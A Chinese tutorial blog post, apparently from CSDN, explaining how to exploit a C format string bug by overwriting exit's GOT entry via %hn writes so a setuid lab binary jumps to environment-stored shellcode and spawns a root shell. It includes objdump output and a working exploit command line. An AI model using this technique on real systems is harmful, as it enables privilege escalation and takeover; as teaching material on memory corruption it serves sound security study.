c语言格式化字符漏洞,格式化字符串漏洞

可能会有人问能不能通过这种漏洞来getshell呢,答案是可以的,且方法不止一种,下面介绍一种相对来说简单且常用的方法,通过覆盖GOT表方法来getshell的trick,总体的思路就是程序最后要执行exit函数,我们覆盖exit函数的地址为shellcode的地址来达到getshell的目的。

我们知道一个程序可以使用共享库,那么它必然有一个存放了各个函数对应的地址的表,这个表就是PLT(procedure linkage table)。

使用objdump 查看plt section

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -d -j .plt ./fmt_vuln

./fmt_vuln: file format elf32-i386

Disassembly of section .plt:

08048360 :

8048360:ff 35 04 a0 04 08 pushl 0x804a004

8048366:ff 25 08 a0 04 08 jmp *0x804a008

804836c:00 00 add %al,(%eax)

...

08048370 :

8048370:ff 25 0c a0 04 08 jmp *0x804a00c

8048376:68 00 00 00 00 push $0x0

804837b:e9 e0 ff ff ff jmp 8048360 <_init>

08048380 :

8048380:ff 25 10 a0 04 08 jmp *0x804a010

8048386:68 08 00 00 00 push $0x8

804838b:e9 d0 ff ff ff jmp 8048360 <_init>

08048390 :

8048390:ff 25 14 a0 04 08 jmp *0x804a014

8048396:68 10 00 00 00 push $0x10

804839b:e9 c0 ff ff ff jmp 8048360 <_init>

080483a0 <__gmon_start__>:

80483a0:ff 25 18 a0 04 08 jmp *0x804a018

80483a6:68 18 00 00 00 push $0x18

80483ab:e9 b0 ff ff ff jmp 8048360 <_init>

080483b0 :

80483b0:ff 25 1c a0 04 08 jmp *0x804a01c

80483b6:68 20 00 00 00 push $0x20

80483bb:e9 a0 ff ff ff jmp 8048360 <_init>

080483c0 <__libc_start_main>:

80483c0:ff 25 20 a0 04 08 jmp *0x804a020

80483c6:68 28 00 00 00 push $0x28

80483cb:e9 90 ff ff ff jmp 8048360 <_init>

080483d0 :

80483d0:ff 25 24 a0 04 08 jmp *0x804a024

80483d6:68 30 00 00 00 push $0x30

80483db:e9 80 ff ff ff jmp 8048360 <_init>

如上所示可以看到exit函数的相关跳转,但是这个plt section是READONLY即只读不可修改的

1

2

3xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -h ./fmt_vuln | grep -A1 "\ .plt\ "

11 .plt 00000080 08048360 08048360 00000360 2**4

CONTENTS, ALLOC, LOAD, READONLY, CODE

但如果仔细看的话,可以知道jmp *0x804a01c 中的jmp地址并不是一个直接的地址,而是一个指针指向的地址,即exit函数的地址是存放在地址0x804a01c处的。

这些个地址是存在放另外的section的,叫做global offset table(GOT),它是可写的。然后通过objdump可以获取的到。

4244774a0a25faf78d0d4aa90b3d8451.png

如上说明exit函数是在0x0804a01c这个地址上的。

1./fmt_vuln $(printf "\x1e\xa0\x04\x08\x1c\xa0\x04\x08")%49143x%4\$hn%12981x%5\$hn

这次我们还是将shellcode放入到环境变量中,然后将exit函数的地址指向shellcode所存放的环境变量(这种一般是用在提权操作上,普通用户运行了setuid的程序)

6f4ab9b5e56120cdf994369cec5342bf.png

eff25d39dfded7ec5a5c9535e5c67b47.png

如上,当程序调用exit函数的时候,通过PLT跳转并在GOT表中获取到了调用的地址,由于这个地址已经被修改为shellcode的入口地址,所以我们就获取到了root权限的shell。

可以写任意地址其实就提供了很多种可能性,只要是可写的内存且包含了程序执行流的都可以是写入的目标。

其它

这里就主要过程做了说明,想要真正理解还需要自己动手去实践。

github repo

Reference

《Hacking the art of exploitation》0x352

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值